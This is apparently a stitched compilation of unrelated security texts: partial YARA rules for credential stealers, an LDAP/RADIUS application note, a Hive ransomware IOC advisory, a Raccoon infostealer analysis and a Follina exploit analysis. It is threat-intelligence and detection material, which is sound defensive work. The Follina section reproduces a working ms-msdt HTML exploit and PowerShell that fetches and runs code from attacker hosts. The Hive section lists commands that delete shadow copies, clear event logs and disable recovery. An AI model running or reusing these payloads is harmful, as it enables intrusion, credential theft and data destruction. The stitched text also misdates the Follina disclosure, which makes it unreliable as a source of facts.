type = "malware.stealer"
tlp = "white"
rev = 1
strings:
$browser_0 = "Pale Moon" nocase ascii wide
$browser_1 = "Firefox" nocase ascii wide
$browser_2 = "Waterfox" nocase ascii wide
$browser_3 = "K-Meleon" nocase ascii wide
$browser_4 = "Thunderbird" nocase ascii wide
$browser_5 = "IceDragon" nocase ascii wide
$browser_6 = "Cyberfox" nocase ascii wide
$browser_7 = "BlackHawK" nocase ascii wide
$data_store_0 = "logins.json" nocase ascii wide
$data_store_1 = "key4.db" nocase ascii wide
$data_store_2 = "signons.sqlite" nocase ascii wide
$data_store_3 = "key3.db" nocase ascii wide
$data_store_4 = "moz_logins" nocase ascii wide
$user_cred_0 = "hostname" nocase ascii wide
$user_cred_1 = "encryptedUsername" nocase ascii wide
$user_cred_2 = "encryptedPassword" nocase ascii wide
condition:
uint16(0) == 0x5a4d and
uint32(uint32(0x3c)) == 0x00004550 and
5 of ($browser_*) and
3 of ($data_store_*) and
2 of ($user_cred_*)
}
```
```plaintext
rule malware_other_stealer_2 {
meta:
author = "Titan Labs"
company = "GoSecure"
description = "Generic Windows Vault Credential Stealer"
reference = "https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-VaultCredential"
hash = "4509c33c251e8e075e4aa95001e35cdf"
created = "2021-09-10"
os = "windows"
type = "malware.stealer"
tlp = "white"
rev = 1
strings:
$s1 = "2F1A6504-0641-44CF-8BB5-3612D865F2E5" ascii wide
$s2 = "Windows Secure Note" ascii wide
$s3 = "3CCD5499-87A8-4B10-A215-608888DD3B55" ascii wide
$s4 = "Windows Web Password Credential" ascii wide
$s5 = "154E23D0-C644-4E6F-8CE6-5069272F999F" ascii wide
$s6 = "Windows Credential Picker Protector" ascii wide
$s7 = "4BF4C442-9B8A-41A0-B380-DD4A704DDB28" ascii wide
$s8 = "Web Credentials" ascii wide
$s9 = "77BC582B-F0A6-4E15-4E80-61736B6F3B29" ascii wide
$s10 = "Windows Credentials" ascii wide
$s11 = "E69D7838-91B5-4FC9-89D5-230D4D4CC2BC" ascii wide
$s12 = "Windows Domain Certificate Credential" ascii wide
$s13 = "3E0E35BE-1B77-43E7-B873-AED901B6275B" ascii wide
$s14 = "Windows Domain Password Credential" ascii wide
$s15 = "3C886FF3-2669-4AA2-A8FB-3F6759A77548" ascii wide
$s16 = "Windows Extended Credential" ascii wide
$s17 = "00000000-0000-0000-0000-000000000000" ascii wide
condition:
uint16(0) == 0x5a4d and
uint32(uint32(0x3c)) == 0x00004550 and
all of them
}
```
```plaintext
rule malware_other_stealer_3 {
meta:
author = "Titan Labs"
company = "GoSecure"
description = "Generic WinSCP Credential Stealer"
reference = "https://gist.github.com/jojonas/07c3771711fb19aed1f3"
hash = "4509c33c251e8e075e4aa95001e35cdf"
created = "2021-09-10"
os = "windows"
type = "malware.stealer"
tlp = "white"
rev = 1
strings:
$s1 = "Software\\Martin Prikryl\\WinSCP 2\\Sessions" ascii wide nocase
$s2 = "HostName" ascii wide nocase
$s3 = "UserName" ascii wide nocase
$s4 = "Password" ascii wide nocase
condition:
uint16(0) == 0x5a4d and
uint32(uint32(0x3c)) == 0x00004550 and
all of them
}
``` |
# nk_av_anthology_for_pdf
This document contains the anthology for PDF. |
# Application Note AN2015-08
## Understanding When to Use LDAP or RADIUS for Centralized Authentication
**Ben Herrmann**
### INTRODUCTION
Lightweight Directory Access Protocol (LDAP) and Remote Authentication Dial-In User Service (RADIUS) are two commonly used protocols for authenticating and authorizing users. Both protocols perform similar tasks, making it hard to determine which to use. This application note describes the differences between both protocols as well as security considerations for implementation.
### PROBLEM
LDAP and RADIUS are typically used to authenticate and authorize users, but choosing which protocol to use for certain tasks can be difficult. In addition, setting up these services can be time-consuming and confusing. The two protocols operate differently, which leads to varying levels of security and network traffic.
### SOLUTION
Understanding the difference between the protocols can help users select the right protocol for the right task. This application note also provides general security information on SEL implementations of LDAP and RADIUS. For information about specific applications, contact the SEL Engineering Services cybersecurity team.
### What Is LDAP?
LDAP is a directory service that is used to search and modify directories over a network, such as those created by Microsoft® Active Directory® service. An LDAP server contains the directory of users in an LDAP directory tree. LDAP clients who wish to gain information about entries in the tree or perform modifications to these entries contact the server. These servers can be replicated to allow for faster, more reliable access to the directory across a network. LDAP servers can store various user attributes, such as telephone numbers, emails, and locations, as well as authentication information. This gives network administrators flexibility when implementing services such as single sign-on.
### What Is RADIUS?
RADIUS is a protocol that allows for centralized authentication, authorization, and accounting (AAA) for user and/or network access control. RADIUS clients contact the server with user credentials as part of a RADIUS Access-Request message, and the server responds back with a RADIUS Access-Accept, Access-Reject, or Access-Challenge message. Authentication and authorization are generally performed in one step to minimize traffic flow, although RADIUS can support multifactor (or two-factor) authentication using one or more Access-Challenge messages. Accounting is then performed via additional messages from the client to the server. RADIUS also supports more complex forms of authentication, such as those described by the Extensible Authentication Protocol (EAP).
### Design Differences
**LDAP**
LDAP provides a means of interfacing to a directory. LDAP does not require any security between the client and server. However, through the use of Transport Layer Security (TLS), LDAP can encrypt user sessions between the client and server. This keeps all information transferred in LDAP transactions over the network secure. LDAP also benefits from a simple implementation process that is easy for network users to access. However, LDAP does not directly support user accounting. Many implementations provide server-side accounting that varies in scope. Other user activity can be captured by additional protocols, such as Syslog.
**RADIUS**
RADIUS typically acts as an intermediate service that only handles AAA. It can contact a directory service, either its own or that of a different server, and authenticate and authorize the user. This process alleviates some of the performance issues with large directory structures by allowing the caching of user data on the RADIUS server. It also allows the server to integrate with dedicated authentication servers. The RADIUS server talks to other services using other protocols, such as LDAP or Simple Object Access Protocol (SOAP). This adds considerable functionality and security but can complicate setup. RADIUS protocol lacks encryption on all attributes except for the password field, which can be a cause for concern to network administrators. However, other protocols can alleviate security issues. RADIUS can also perform accounting services, ensuring that sensitive user information is properly tracked. Services such as one-time password (OTP) generation can also be attached to RADIUS servers.
### Operational Differences
LDAP and RADIUS have some small differences in how they operate, leading to varying levels of security and network traffic. LDAP uses Transmission Control Protocol (TCP) to ensure reliable connection across the network. TCP ensures a connection but requires more network overhead. RADIUS uses User Datagram Protocol (UDP), which minimizes network overhead but does not ensure a connection. Depending on implementation, this may cause lost packets, errors in packets, and lengthy timeouts. It may also make the network vulnerable to replay attacks if implemented improperly. By default, RADIUS packets lack encryption, except on the password field, meaning that sensitive user information is sent in clear text over the network. To combat this, users need to implement additional security mechanisms, such as a virtual private network, between RADIUS servers and clients if all RADIUS attributes need to be encrypted. For additional security, RADIUS is also flexible enough to allow for other forms of authentication, such as those implemented using EAP.
By itself, LDAP is unable to support multifactor authentication. Several enterprise solutions are available, but many require additional resources. These solutions often implement other protocols as well, including RADIUS. RADIUS can support services that query directory services for user information as well as additional services, such as OTP servers, for enhanced security.
### Conclusion
This brief overview of LDAP and RADIUS provides insight into how these protocols are commonly implemented. RADIUS and LDAP both allow for centralized authentication services. LDAP can allow for single sign-on services in the network, but it lacks built-in tools for session accounting. LDAP can easily be encrypted using TLS as a wrapper. The simplicity of LDAP also allows for easy setup and integration with an already established network, such as a Microsoft Active Directory server. RADIUS allows for flexibility in services offered because it can connect to almost any other network service. RADIUS often allows for faster speed in network transactions due to its simplicity. However, setup of these services can be time-consuming and confusing. In short, LDAP excels in situations where simple password authentication is needed while RADIUS offers additional services for authentication but increased complexity during the setup and management of the network. |
# Indicators of Compromise Associated with Hive Ransomware
## Summary
Hive ransomware, first observed in June 2021, likely operates as an affiliate-based ransomware. It employs a wide variety of tactics, techniques, and procedures (TTPs), creating significant challenges for defense and mitigation. Hive ransomware uses multiple mechanisms to compromise business networks, including phishing emails with malicious attachments and Remote Desktop Protocol (RDP) to move laterally once on the network.
After compromising a victim network, Hive ransomware actors exfiltrate data and encrypt files. The actors leave a ransom note in each affected directory, providing instructions on how to purchase the decryption software and threatening to leak exfiltrated victim data on the Tor site, “HiveLeaks.”
## Technical Details
Hive ransomware seeks processes related to backups, anti-virus/anti-spyware, and file copying, terminating them to facilitate file encryption. The encrypted files commonly end with a .hive extension. The Hive ransomware drops a `hive.bat` script into the directory, enforcing an execution timeout delay of one second to perform cleanup after encryption by deleting the Hive executable and the `hive.bat` script. A second file, `shadow.bat`, is dropped to delete shadow copies without notifying the victim and then deletes itself.
During the encryption process, encrypted files are renamed with the double final extension of `*.key.hive` or `*.key.*`. The ransom note, `HOW_TO_DECRYPT.txt`, is dropped into each affected directory and states the `*key.*` file cannot be modified, renamed, or deleted, otherwise the encrypted files cannot be recovered. The note contains a “sales department” link, accessible through a TOR browser, enabling victims to contact the actors through live chat. Some victims reported receiving phone calls from Hive actors requesting payment. The initial deadline for payment fluctuates between 2 to 6 days, but actors have prolonged the deadline in response to contact by the victim company. The ransom note also informs victims that a public disclosure or leak site contains data exfiltrated from victim companies who do not pay the ransom demand.
## Indicators of Compromise
The following indicators were leveraged by the threat actors during Hive ransomware compromises. Some of these indicators might appear as applications within your enterprise supporting legitimate purposes; however, these applications can be used by threat actors to aid in further malicious exploration of your enterprise. The FBI recommends removing any application not deemed necessary for day-to-day operations.
- **Hive Tor Domain**: `hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion`
- **Winlo.exe**
- MD5: `b5045d802394f4560280a7404af69263`
- SHA256: `321d0c4f1bbb44c53cd02186107a18b7a44c840a9a5f0a78bdac06868136b72c`
- File Path Observed: `C:\Windows\SysWOW64\winlo.exe`
- Description: Drops `7zG.exe`
- **7zG.exe**
- MD5: `04FB3AE7F05C8BC333125972BA907398`
- Description: This is a legitimate 7zip, version 19.0.0. Drops `Winlo_dump_64_SCY.exe`
- **Winlo_dump_64_SCY.exe**
- MD5: `BEE9BA70F36FF250B31A6FDF7FA8AFEB`
- Description: Encrypts files with `*.key.*` extension. Drops `HOW_TO_DECRYPT.txt`
- **HOW_TO_DECRYPT.txt**
- Description: Stops and disables Windows Defender, deletes all Windows Defender definitions, removes context menu for Windows Defender, stops and disables various services, attempts to delete Volume Shadow Copies, deletes Windows Event Logs, uses Notepad++ to create key file, changes bootup to ignore errors, and drops PowerShell script.
## Other IOCs
- `*.key.hive`
- `*.key.*`
- `HOW_TO_DECRYPT.txt`
- `hive.bat`
- `shadow.bat`
- `vssadmin.exe delete shadows /all /quiet`
- `wmic.exe SHADOWCOPY /nointeractive`
- `wmic.exe shadowcopy delete`
- `wevtutil.exe cl system`
- `wevtutil.exe cl security`
- `wevtutil.exe cl application`
- `bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures`
- `bcdedit.exe /set {default} recoveryenabled no`
## Sample Ransom Note
Your network has been breached and all data were encrypted. Personal data, financial reports, and important documents are ready to disclose. To decrypt all the data or to prevent exfiltrated files from being disclosed, you will need to purchase our decryption software. Please contact our sales department at: REDACTED. Login: REDACTED. Password: REDACTED.
Follow the guidelines below to avoid losing your data:
- Do not shutdown or reboot your computers, unmount external storages.
- Do not try to decrypt data using third-party software. It may cause irreversible damage.
- Do not modify, rename, or delete `*.key.k6thw` files. Your data will be undecryptable.
- Do not report to authorities. The negotiation process will be terminated immediately, and the key will be erased.
- Do not reject to purchase. Your sensitive data will be publicly disclosed.
## Information Requested
The FBI does not encourage paying a ransom to criminal actors. Paying a ransom may embolden adversaries to target additional organizations and does not guarantee that a victim’s files will be recovered. However, the FBI understands that when businesses are faced with an inability to function, executives will evaluate all options to protect their stakeholders. Regardless of whether you or your organization decide to pay the ransom, the FBI urges you to report ransomware incidents to your local field office.
The FBI may seek the following information that you determine you can legally share:
- Recovered executable files
- Live memory (RAM) capture
- Images of infected systems
- Malware samples
- IP addresses identified as malicious or suspicious
- Email addresses of the attackers
- A copy of the ransom note
- Ransom amount
- Bitcoin wallets used by the attackers
- Bitcoin wallets used to pay the ransom
- Post-incident forensic reports
## Recommended Mitigations
- Back up critical data offline.
- Ensure copies of critical data are in the cloud or on an external hard drive.
- Secure your backups and ensure data is not accessible for modification or deletion from the system where the data resides.
- Use two-factor authentication with strong passwords, including for remote access services.
- Monitor cyber threat reporting regarding the publication of compromised VPN login credentials and change passwords/settings if applicable.
- Keep computers, devices, and applications patched and up-to-date.
- Install and regularly update anti-virus or anti-malware software on all hosts.
If your organization is impacted by a ransomware incident, the FBI and CISA recommend the following actions:
- Isolate the infected system. Remove it from all networks and disable networking capabilities.
- Turn off other computers and devices. Power-off and segregate infected computers.
- Secure your backups. Ensure that your backup data is offline and secure.
## Reporting Notice
The FBI encourages recipients of this document to report information concerning suspicious or criminal activity to their local FBI field office. When available, each report submitted should include the date, time, location, type of activity, number of people, and type of equipment used for the activity, the name of the submitting company or organization, and a designated point of contact. |
# Threat Thursday: Get Your Paws Off My Data, Raccoon Infostealer
The BlackBerry Research & Intelligence Team
Raccoon is an information-stealing malware variant made available to subscribers through a Malware-as-a-Service (MaaS) arrangement. It targets Windows® users, seeking out and stealing their stored credentials.
Raccoon’s authors retain full control of its source code and feature development. Through a TOR-based control panel, subscribers have access to a “clean” build, which they can modify to customize its deployed configuration.
Harvested information will likely find value and potential buyers via underground forums hosted on the dark web. Examples of stolen information that could be sold or used for nefarious purposes include: credentials for file hosting that could be used to store and distribute other malware; corporate network access sold to ransomware groups; crypto wallets; and email addresses that could be used to contribute to current or future malspam campaigns.
## Technical Analysis
### Background
Raccoon is considered by its “customers” and by researchers to be a replacement for the now-defunct Azorult information stealer. A preliminary version of this threat was brought online in January of 2019, as indicated by a database dump that was leaked by an apparently disgruntled member of the development team. It was first seen in the wild in April of 2019.
Raccoon is, and continues to be, the work of a dedicated team rather than the work of a single individual. Russian forum posts promoting Raccoon infostealer specifically mention a “specialist team” being responsible for its development.
Raccoon’s authors seem to take pride in promptly fixing issues and addressing end-user support requests. Their focus on responsive support is reflected in testimonials, positive reviews, and reported high levels of subscriber satisfaction. This level of “customer service” elevates their position within the cybercriminal community as a reputable and reliable service provider. The cost of a monthly subscription to Raccoon is under USD $100, with discounts available for longer commitments.
Packing and protecting a Raccoon build is the responsibility of each subscriber. Doing so could help prevent detection by legacy signature-based endpoint protection. The method of delivery for Raccoon is also chosen by the subscriber. Past campaigns have been delivered via exploit kits, spam emails with malicious attachments (such as Microsoft® Word documents with macros), and SEO-optimized search results for game cheats and application “cracks.”
Raccoon is often deployed in a “hit-and-run" manner. After network credentials, cookies, and crypto wallets have been exfiltrated, all working folders and the main Raccoon executable are deleted from the victim’s disk.
Dependencies that enable the credential-harvesting function of Raccoon are delivered as a ZIP file of DLLs, which is downloaded as part of its execution. This “division of responsibility” reduces the size of the primary executable.
### Subject of Interest
Sample hash:
`d7b4e7a29b5a4c2779df187c35b8137f5f27a9f0a06527d0966b8537c0a2c5ec`
The build of Raccoon that was analyzed for this post is a 32-bit Windows executable. Subscribers also have access to a DLL version. The first submission date of this sample to VirusTotal is from early August 2021. Metadata within the executable is in conflict, claiming sample creation in September 2020 (PE creation timestamp) and June 2021 (PE debug). Thankfully, Raccoon also generates its own run-time log, which shows a build date of late February 2021. This inconsistency is likely the result of whatever packer was used to protect the sample.
### Friendly Fire
Raccoon’s actual entry point coincides with a call to the OLE32.DLL “CoInitialize” function. This behavior offers a convenient means to side-step the obfuscation. Armed with this knowledge, we can zero in on Raccoon’s core features.
To prevent concurrent execution, Raccoon creates a mutex derived from the current username and a hardcoded string prefix, “uiabfqwfu.”
Regional settings of the host computer are then checked and compared against a list of Commonwealth of Independent State (CIS) countries, made up of nine former republics of the Soviet Union. Execution halts with no further action if a match is found.
### Raccoon Phone Home
The primary command and control (C2) check-in is hard-coded within the Raccoon executable. This information is RC4 encrypted and Base64 encoded. The RC4 key is also stored within the executable.
The C2 URL resolves to what appears to be a fake Telegram domain registered in 2018. The first resolution of this domain to an IP address was made in June of 2021. The landing page is constructed using content retrieved from the legitimate Telegram service.
Located on the landing page in the channel description is a Base64 encoded string. Raccoon extracts this string and decrypts it to identify the second-stage C2 gateway. Within the executable, the primary C2 URL and config_id are both stored in 260-byte placeholders. The clear-text RC4 key used to decrypt the second-stage C2 URL resides in a similar 100-byte placeholder. These markers remain consistent across different builds of Raccoon and form part of the YARA rule published at the conclusion of this report.
Raccoon grabs the unique Windows GUID and current username. This information is included in a C2 POST request, together with the configuration ID. Prior to transmission, the string is once again RC4 encrypted and Base64 encoded.
In keeping with previous transmissions, the response from the C2 is also RC4 encrypted and Base64 encoded. The clear text version of this transmission reveals a JSON document with download links for a ZIP file of library DLLs. Loaded by Raccoon, these provide the same code routines used by legitimate applications to extract stored credentials. In effect, Raccoon mimics the same calls a trusted application makes, but with its own DLLs.
A non-exhaustive list of legitimate applications that use the downloaded library files includes:
- sqlite3.dll: SQLite3 library; used by Mozilla Firefox, Microsoft Edge + others
- nssdbm3.dll: Legacy Mozilla library
- prldap60.dll: Mozilla Thunderbird; LDAP credentials
- qipcap.dll: Mozilla Firefox
- softokn3.dll: Mozilla Firefox
- AccessibleHandler.dll: Mozilla Firefox
- breakpadinjector.dll: Mozilla Firefox
- freebl3.dll: Mozilla Firefox
- IA2Marshal.dll: Mozilla Firefox
- ldap60.dll: Mozilla Thunderbird; LDAP credentials
- ldif60.dll: Mozilla Thunderbird
- lgpllibs.dll: Mozilla Firefox
- libEGL.dll: Google Chrome
- MapiProxy.dll: Mozilla Thunderbird; MAPI library
- mozglue.dll: Mozilla Firefox
- mozMapi32.dll: Mozilla Firefox
- nss3.dll: Mozilla Foundation
- nssckbi.dll: Mozilla Foundation
- nssdbm3.dll: Mozilla Foundation
Also included in the JSON configuration are settings to enable screenshots and self-destruction, as well as patterns to incorporate when searching for files. Raccoon is also capable of downloading and launching other executables. However, in this instance, those features are not being used.
Clear-text strings in the main Raccoon executable reference common Windows applications, predominantly web browsers and email clients. These strings are references to targeted applications. The majority are snippets of registry paths that either will be queried to determine whether an application is installed or they will be queried directly to gather the credentials that are stored in these specific registry paths.
Aside from sniffing out stored credentials, Raccoon will also probe for the existence of wallet files used by popular crypto apps. Any wallet files found will be copied and included as part of the final upload.
### Hit and Run
All harvested information is copied to files under a random-named temporary folder. Once there, the stash is bundled into a ZIP file and uploaded to the C2. Following upload, the configuration of this Raccoon sample called for it to delete itself.
It should be noted that self-destruction by Raccoon can be incomplete. Remnants of downloaded library files were left on disk. These may have been locked by the operating system, preventing their deletion.
## Conclusion
While it may lack the features of its more complex counterparts, Raccoon offers an affordable avenue into the world of cybercrime for both fledgling cyber-criminals and seasoned threat actors alike. The managed service aspect eliminates nearly all technical hurdles to entry, allowing its subscribers to focus solely on the targeting and sale of harvested information.
## YARA Rule
The following YARA rule was authored by the BlackBerry Research & Intelligence Team to catch the threat described in this document:
```yara
rule RaccoonInfoStealer {
strings:
$b64_conf_id = /[A-Za-z0-9+\/=\ ]+/
$hx_str_xor = { F6 D1 30 8C 15 ?? FD FF FF 42 83 FA ?? 73 08 8A 8D ?? FD FF FF EB }
condition:
!b64_conf_id[1] == 260 or
all of ($hx*)
}
```
## Indicators of Compromise (IoCs)
- Network: “gate/log.php”
- Network: “GET https://telete.in/<channel>”
- Network: “GET https://tttttt.me/<channel>”
- Network: “GET https://tttttt.me/mimimimaxormin”
- Network: “POST http://5.181.156[.]252/”
- Network: “POST http://66.115.165[.]153/”
- Network: “POST http://34.135.32[.]61/”
- Network: “POST http://95.216.186[.]40/”
- File system: %LOCALAPPDATA%low\screen.jpeg
- File system: %LOCALAPPDATA%low\machineinfo.txt
- File system: %LOCALAPPDATA%low\sqlite3.dll
- PE export: “_CallPattern@8”
- Runtime mutex: “uiabfqwfu<Username>”
## BlackBerry Assistance
If you’re battling Raccoon infostealer or a similar threat, you’ve come to the right place, regardless of your existing BlackBerry relationship. The BlackBerry Incident Response team is made up of world-class consultants dedicated to handling response and containment services for a wide range of incidents, including ransomware and Advanced Persistent Threat (APT) cases. We have a global consulting team standing by to provide around-the-clock support, if required, as well as local assistance. |
# Threat Analysis: Follina Exploit Fuels 'Live-off-the-Land' Attacks
**Threat Research**
**July 27, 2022**
**Blog Author**: Joseph Edwards, Senior Malware Researcher at ReversingLabs.
An analysis of three in-the-wild payloads delivered using the recently discovered Follina exploit shows how attackers can use it to achieve persistent access in victim environments and turbo-charge efforts to ‘live off the land’ and avoid detection by security monitoring tools.
## Executive Summary
ReversingLabs analyzed three malicious payloads linked to the Follina exploit in Microsoft’s Support Diagnostic Tool (MSDT). Our research revealed that the Follina exploit is being used to deliver a range of common exploitation and persistence tools including Cobalt Strike, Mimikatz (a credential harvesting utility), and PowerShell scripts used to obtain persistent access and harvest data and credentials from victim networks.
Additionally, we discovered attacks using novel methodologies, including the use of syscalls to obfuscate malicious payloads and avoid API monitoring technologies; use of the "net use" command with a username and password to execute the payload on a mounted network share; and deployment of novel, as-yet unidentified malware.
The research underscores the threat posed by Follina, which greatly enhances the ability of malicious actors to “live off the land” within victim environments: leveraging native administrative tools and functions to elevate access permissions.
## Overview
The Follina exploit is one of the most serious remote code execution (RCE) vulnerabilities in recent memory. First disclosed in May 2021, the vulnerability (CVE-2022-30190) affects the Microsoft Support Diagnostic Tool, a standard component of the Windows operating system. According to Microsoft, Follina is a remote code execution vulnerability that can be exploited when MSDT is called using the URL protocol from an application (for example: Microsoft Word).
An attacker who successfully exploits the Follina vulnerability can run arbitrary code with the privileges of the calling application. The attacker can then install programs, view, change, or delete data, or create new accounts in the context allowed by the user’s rights. This could allow a remote, unauthenticated attacker to take control of an affected system, according to an alert from CISA. Microsoft issued guidance for remediating the flaw and then, in mid-June, a patch for the underlying vulnerability.
Researchers at Microsoft and elsewhere discovered the Follina exploit being used in phishing documents and active campaigns. To assess the nature of the threat, ReversingLabs hunted for Follina exploitation samples using its Titanium platform, then analyzed them to observe what final payloads are being delivered in-the-wild in conjunction with the Follina exploit. ReversingLabs researcher Joseph Edwards collected three samples of threats. Here is his analysis of each.
## Analysis
### Exploit Chain 1: Cobalt Strike Beacon Hosted on WebDAV Share
**Document Stage**
The document we observed is a relations file stored in a Word document, but is typically not visible to end users.
In analyzing this document, the relationship of interest is the Type oleObject. Note that the TargetMode is “External” and points to a third-party website: `https://files.attend-doha-expo.com/inv.html`. Also make note of the "!" character at the end of the target URL, which is an important part of triggering additional processing of the HTML payload.
```xml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId8" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/fontTable" Target="fontTable.xml"/>
<Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/settings" Target="settings.xml"/>
<Relationship Id="rId7" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="media/image2.JPG"/>
<Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/styles" Target="styles.xml"/>
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/numbering" Target="numbering.xml"/>
<Relationship Id="rId6" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="https://files.attend-doha-expo.com/inv.html!" TargetMode="External" />
<Relationship Id="rId5" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="media/image1.png"/>
<Relationship Id="rId4" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/webSettings" Target="webSettings.xml"/>
<Relationship Id="rId9" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/theme" Target="theme/theme1.xml"/>
</Relationships>
```
**HTML Stage**
The file we observed: `inv.html`
This is an HTML file with embedded JavaScript that invokes ms-msdt, the Microsoft Support Diagnostic Tool (MSDT) protocol handler, passing a list of options.
```html
<head></head>
<body>
<script>
// AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...[*4096 bytes, truncated]
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+
[char]34+'JGNtZCA9ICJjOlx3aW5kb3dzXHN5c3RlbTMyXGNtZC5leGUiO1N0YXJ0LVByb2Nlc3MgJGNtZCAtd2luZG93c3R5bGUgaGlkZGVuIC1Bc'+
[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO\"";
</script>
</body>
```
A few observations about this file:
- The parameter at the end: `IT_AutoTroubleshoot=ts_AUTO`, which takes the specified actions without user interaction or authentication.
- The use of the command `IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu`, which opens the context menu for selecting a program to open. In this case, it is "calc", but this could be used to launch any application.
- The command `IT_SelectProgram=NotListed IT_BrowseForFile=` is used to select the "Program Not Listed" option and browse to the file to be used.
- A Base64-encoded blob is parsed to resolve the file path, explaining the string: `i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe`, which is inserted at the end so that if the handler parses the `IT_BrowseForFile` argument, looking for a path to a legitimate Windows executable, the argument will pass that check.
The Base64-encoded blob is parsed and executed as a PowerShell command:
```powershell
$cmd="C:\windows\system32\cmd.exe";
Start-Process $cmd -windowstyle hidden -ArgumentList "/c taskkill /f /im msdt.exe";
Start-Process $cmd -windowstyle hidden -ArgumentList "/c net use z: \\5.206.224.233\webdav\ /user:user `$RFVbgtyuJ32D && z:\osdupdate.exe && net use z: /delete ";
```
The PowerShell command ends the msdt.exe process, logs into a WebDAV file share at the remote server `5.206.224.233`, using the username `user` and the password `$RFVbgtyuJ32D`, and mounts the server as a network share at drive letter Z. Using the Windows terminal `cmd.exe`, the script launches a file named `osdupdate.exe` and removes the network share.
**Payload Stage**
The payload delivered via this exploit chain was: `osdupdate.exe`
Our analysis shows that this payload is a loader for a Cobalt Strike beacon. The malware uses direct syscalls to evade API monitoring or module hooking by endpoint detection and response (EDR) technology.
Additionally, the following APIs are used but obscured within the payload:
- ZwAllocateVirtualMemory
- ZwGetContextThread
- ZwProtectVirtualMemory
- ZwResumeThread
- ZwSetContextThread
- ZwTerminateProcess
- ZwWriteVirtualMemory
These APIs allow the process to inject itself with the decrypted shellcode for a Cobalt Strike beacon. The beacon reaches out to the Command and Control server `telecomly.info` and was configured with the following options:
```json
{
"BeaconType": ["HTTPS"],
"Port": 443,
"SleepTime": 60000,
"MaxGetSize": 2097328,
"Jitter": 20,
"C2Server": "www.telecomly.info,/Collector/2.0/settings/",
"HttpPostUri": "/users/8:orgid:c2811-b2a4-2b33-3be12bad1/endpoints/events/poll",
"Malleable_C2_Instructions": ["Remove 46 bytes from the end", "Remove 130 bytes from the beginning", "NetBIOS decode 'a'"],
"SpawnTo": "x5/Epp7jyIAJUfH0bBiYfw==",
"HttpGet_Verb": "GET",
"HttpPost_Verb": "GET",
"HttpPostChunk": 96,
"Spawnto_x86": "%windir%\\syswow64\\werfault.exe",
"Spawnto_x64": "%windir%\\sysnative\\werfault.exe",
"CryptoScheme": 0,
"Proxy_Behavior": "Use IE settings",
"Watermark": 123456789,
"bStageCleanup": "False",
"bCFGCaution": "False",
"KillDate": 0,
"bProcInject_StartRWX": "False",
"bProcInject_UseRWX": "False",
"bProcInject_MinAllocSize": 17500,
"ProcInject_PrependAppend_x86": ["kJA=", "Empty"],
"ProcInject_PrependAppend_x64": ["kJA=", "Empty"],
"ProcInject_Execute": ["ntdll:RtlUserThreadStart", "CreateThread", "NtQueueApcThread-s", "CreateRemoteThread", "RtlCreateUserThread"],
"ProcInject_AllocationMethod": "NtMapViewOfSection",
"bUsesCookies": "False",
"HostHeader": ""
}
```
### Significance
The compelling features that emerged from our analysis of this Follina exploit chain were:
- The use of the "net use" command with a username and password to execute the payload on a mounted network share. This prevents automated harvesting from simply using the URL to discover the payload.
- The use of Cobalt Strike, which enables lateral movement and advanced evasion within a network.
- The use of direct syscalls to obfuscate the payload and evade API monitoring. This is a newer and infrequently seen technique.
### Exploit Chain 2: PowerShell Stealer and Invoke-Mimikatz
**Document Stage**
The Rich Text Format (RTF) document associated with the exploit chain was: `Basic_Personal_Data_Information_Form.rtf`
This file has two embedded OLE objects that reference external HTML documents. These objects execute automatically without user interaction but do present a prompt to the user, perhaps leaving them with a false sense of security.
In testing, we noticed that the malicious document uses a decoy OLE object if launched via WordPad, reaching out to the following dummy URL: `http://127.0.0.1/side1.html`. However, when opened in Microsoft Word 2016, the OLE object executes the HTML payload at `http://seller-notification.live/1.html`.
**HTML Stage**
The HTML file we detected is: `1.html`
This HTML stage was hosted at the web address mentioned above, and several others. The syntax within the JavaScript tags in the HTML file that trigger the ms-msdt: protocol handler is the same. The Base64-encoded string decodes to the following PowerShell commands:
```powershell
Get-Process -Name msdt|Stop-Process;
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('https://seller-notification.live/Zgfbe234dg')"
```
These commands simply stop the msdt.exe process launched by the ms-msdt: handler, then download and execute another PowerShell stage.
**PowerShell Payloads**
The PowerShell script has the identifier `da80a38090ef8cb52e91e639ea267c4f24bf3a21`. It contains a number of functions that enable the threat actor to collect and exfiltrate credentials to their Command and Control server at `hxxp://seller-notification.live/upload_file.php`. ReversingLabs analysis reveals that the script is capable of performing the following actions:
- Collecting system time, hostname, and public IP addresses.
- Extracting credentials from Firefox, Microsoft Credential Store, Opera, Yandex, Vivaldi, Chrome, and other browsers.
- Retrieving credentials from FileZilla, MobaXterm, Oray SunLogin RemoteClient, and other SSH-based clients.
- Exporting RDP, FTP, Microsoft FTP, and other credentials from the Windows Registry.
- Enumerating user accounts, groups, and administrators using WMIC.
- Exfiltrating collected data, and the SOFTWARE and SYSTEM registry hives as .zip files and then uploading them to the Command and Control (C2) server.
